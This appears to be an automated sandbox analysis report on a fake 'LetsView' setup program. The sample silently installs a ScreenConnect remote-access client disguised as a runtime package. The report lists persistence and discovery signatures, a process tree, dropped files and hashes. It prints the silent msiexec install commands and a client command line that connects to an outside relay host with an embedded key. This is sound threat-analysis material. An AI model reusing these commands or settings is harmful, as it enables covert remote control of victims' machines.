Analysis

  • max time kernel
    298s
  • max time network
    301s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    10/07/2026, 02:45

General

  • Target
    LETSVIEW/letsview-setup.exe
  • Size 505KB
  • Sample260710-c8vd8act2k
  • SHA256 8f47d7121ef6532ad9ad9901e44e237f5c30448b752028c58a9d19521414e40d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 33 IoCs
  • Checks for any installed AV software in registry 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 36 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 42 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 11 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\LETSVIEW\letsview-setup.exe
    "C:\Users\Admin\AppData\Local\Temp\LETSVIEW\letsview-setup.exe"
    1⤵
    • Checks for any installed AV software in registry
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:424
    • C:\Users\Admin\AppData\Local\Temp\0f7fc05e.exe
      "C:\Users\Admin\AppData\Local\Temp\0f7fc05e.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3420
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\606B3D5E.tmp /qn REBOOT=ReallySuppress
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:4604
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\E55E2B5E.tmp /qn REBOOT=ReallySuppress
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:5776
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5452
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 5B12E1F8BA44211A78FC50138119DF9F
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3904
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI34F6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240661812 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:5552
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 99B2AB52DADD2EF11DA84246B121E2F7 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:3820
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 1F668BE6698361E745EE9CEAD519A410
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4724
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI3E50.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240664187 22 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:5672
  • C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=micro.vpn-expres.top&p=8041&s=46ddde34-e57c-4564-bbee-b8e79f02a4b0&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0xDarU2tV5Mfx%2fAFHd8Uk5q%2fFEcKbao%2fNyt1sCKoWPxRwGPNazIErFVLdUTQAwUAHFFsH%2fAI%2bRLJhl53QVgHaYcZAhLsW0gJdUEjQokrPA7dQtgjAToq%2bBOT0FoIQceYrnMpYerjcVsThac04E%2beYcPVy%2fX3y4P%2bFdCGFMSFmkoBtL9mQV1YSVfKuOD5dmo4kAFnoInvt2ZKpqL0zIbLs5ws5B56lGEuu17ZB9lCWs%2bcL2UUa4OP9AG%2bb%2bkZEMbgRLYySi4kViPUQndES6&c=LETSVIEW&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:6096
    • C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsClient.exe" "RunRole" "868a4084-2bbe-4c59-a478-1215bb335d3a" "User"
      2⤵
      • Executes dropped EXE
      PID:5388

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        e5833ef.rbs

        • Path C:\Config.Msi\e5833ef.rbs
        • Size 214KB
        • SHA256 cfa6447597be30cb30bce6aaa96ee9b8a3c62adc48eb40fc6b929c4be1af16ec
        • MD5 SHA1 SHA512 SSDEEP TLSH

        e5833f3.rbs

        • Path C:\Config.Msi\e5833f3.rbs
        • Size 3KB
        • SHA256 20da8de65fed9d0ce008987a125b579fd59de2aa5bf2e9cf9fcb0075bff56cb6
        • MD5 SHA1 SHA512 TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\Client.Override.en-US.resources
        • Size 227B
        • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\Client.Override.resources
        • Size 4KB
        • SHA256 4b1351ff1b4c54808ba17abb1ba810c55066657688099457ec7568d0ed091335
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\app.config
        • Size 1KB
        • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\system.config
        • Size 958B
        • SHA256 36d7af4a76f321642cfd01c00b51e454182e118c6ce17916e59c755e2d0e5e93
        • MD5 SHA1 SHA512 TLSH

        rundll32.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log
        • Size 746B
        • SHA256 76ced2c52d647683572ceac0687933e96e198b5a6f998457fa334763cc1ef978
        • MD5 SHA1 SHA512 TLSH

        0f7fc05e.exe

        • Path C:\Users\Admin\AppData\Local\Temp\0f7fc05e.exe
        • Size 2.4MB
        • SHA256 9668ad0def75c0bfccfa01a0a8b4fe3aa24a4f386f0807871edb14b979ac51bf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        606B3D5E.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\606B3D5E.tmp
        • Size 12.8MB
        • SHA256 68b55d9b9c5c428a8edd744acfaea9d6607f8bfa95aec950e4541c9ebf579082
        • MD5 SHA1 SHA512 SSDEEP TLSH

        dxsetup_dbg.log

        • Path C:\Users\Admin\AppData\Local\Temp\dxsetup_dbg.log
        • Size 881B
        • SHA256 b59419d9fb2bf3a687985824aa3af0336de0d2220b3d14d5cd3769df133a847f
        • MD5 SHA1 SHA512 TLSH

        MSI34F6.tmp

        • Path C:\Windows\Installer\MSI34F6.tmp
        • Size 1.0MB
        • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI34F6.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI34F6.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI34F6.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI34F6.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI38C0.tmp

        • Path C:\Windows\Installer\MSI38C0.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        CustomAction.config

        • Path C:\Windows\Installer\MSI3E50.tmp-\CustomAction.config
        • Size 234B
        • SHA256 7027b69ab6ebc9f3f7d2f6c800793fde2a057b76010d8cfd831cf440371b2b23
        • MD5 SHA1 SHA512 TLSH

        DXError.log

        • Path C:\Windows\Logs\DXError.log
        • Size 554B
        • SHA256 2c4e750ce931c0ddaa7f35c8b869d90ba08a0cf091698b398ba13dd7188e1690
        • MD5 SHA1 SHA512 TLSH

        2hh42qcc.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\2hh42qcc.newcfg
        • Size 584B
        • SHA256 0820f373508a7fedda0308e01ea5a40a9a9eea6ec06ca24ae6f544fab5fdeca1
        • MD5 SHA1 SHA512 TLSH

        4wepg2yt.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\4wepg2yt.newcfg
        • Size 584B
        • SHA256 ce2c4628240f246d93d5aa76b7f497c8707441c4f2a2a253b29b69ac35203e31
        • MD5 SHA1 SHA512 TLSH

        cki5rgnp.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\cki5rgnp.newcfg
        • Size 584B
        • SHA256 60a669745e7d3f502f94d84303d2196708b7a57b524ac9c34da73f9604c75806
        • MD5 SHA1 SHA512 TLSH

        kbw5mrcq.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\kbw5mrcq.newcfg
        • Size 584B
        • SHA256 6431b459bf3a7c1c6b171e4a212be1e18bb2df8ab14a929eacbb4ca84a2a3981
        • MD5 SHA1 SHA512 TLSH

        ksmtuyro.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\ksmtuyro.newcfg
        • Size 584B
        • SHA256 1ab6ef9b5cbaed796db3587274a726bf0c87755e1a4d86c66e8adaecfc1c4a69
        • MD5 SHA1 SHA512 TLSH

        q1ahaw3t.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\q1ahaw3t.newcfg
        • Size 584B
        • SHA256 64884a5d2feffade5300e6ef97abb2aacec2ec876e45fb5a9643217c45015f59
        • MD5 SHA1 SHA512 TLSH

        rzfumvrf.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\rzfumvrf.newcfg
        • Size 584B
        • SHA256 0460bd71bcff9db205ae7b283cfe8ad1a66f53f3e1e7d2293f11e15b5aa0050e
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\user.config
        • Size 584B
        • SHA256 47bfbd68b2adb8587a6463e67ba5953c704ec83963c2580b4be139c0794dc9af
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\user.config
        • Size 584B
        • SHA256 cd95077f3d0ae0f22db7d2c3b19c15ec47e1de0dc5eff7276a09a709bc520a68
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\user.config
        • Size 584B
        • SHA256 699c3584a27b3bc4b8d6b1234ec812274ed13791d77bfcb73aba9cae635bc6c0
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\user.config
        • Size 584B
        • SHA256 3bf986ede82aace90d1ff696180cca2a049df76f9e767ba79aa99d86fa37db9d
        • MD5 SHA1 SHA512 TLSH

        ylg5uqb3.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\ylg5uqb3.newcfg
        • Size 584B
        • SHA256 6613823a14c4a90842853c2881a9bb7a38e03443d399495431b0ad9ebc906278
        • MD5 SHA1 SHA512 TLSH

        memory/5388-189-0x0000000002520000-0x0000000002538000-memory.dmp

        memory/5388-168-0x0000000002560000-0x0000000002596000-memory.dmp

        memory/5388-169-0x000000001B150000-0x000000001B1DE000-memory.dmp

        memory/5388-184-0x000000001B910000-0x000000001BA98000-memory.dmp

        memory/5388-190-0x00000000025B0000-0x00000000025C8000-memory.dmp

        memory/5388-165-0x00000000003A0000-0x0000000000438000-memory.dmp

        memory/5388-170-0x000000001B5D0000-0x000000001B77C000-memory.dmp

        memory/5452-243-0x000001ABC0390000-0x000001ABC0E52000-memory.dmp

        memory/5552-91-0x00000000051F0000-0x000000000527E000-memory.dmp

        memory/5552-83-0x0000000005100000-0x000000000512E000-memory.dmp

        memory/5552-87-0x0000000005140000-0x000000000514A000-memory.dmp

        memory/5552-95-0x0000000005430000-0x00000000055DC000-memory.dmp

        memory/5552-96-0x0000000005B90000-0x0000000006136000-memory.dmp

        memory/6096-154-0x0000000004480000-0x00000000044C1000-memory.dmp

        memory/6096-136-0x0000000001920000-0x0000000001938000-memory.dmp

        memory/6096-147-0x0000000004430000-0x0000000004480000-memory.dmp

        memory/6096-151-0x00000000043E0000-0x0000000004416000-memory.dmp

        memory/6096-152-0x0000000004520000-0x00000000045B2000-memory.dmp

        memory/6096-156-0x0000000004710000-0x00000000047E5000-memory.dmp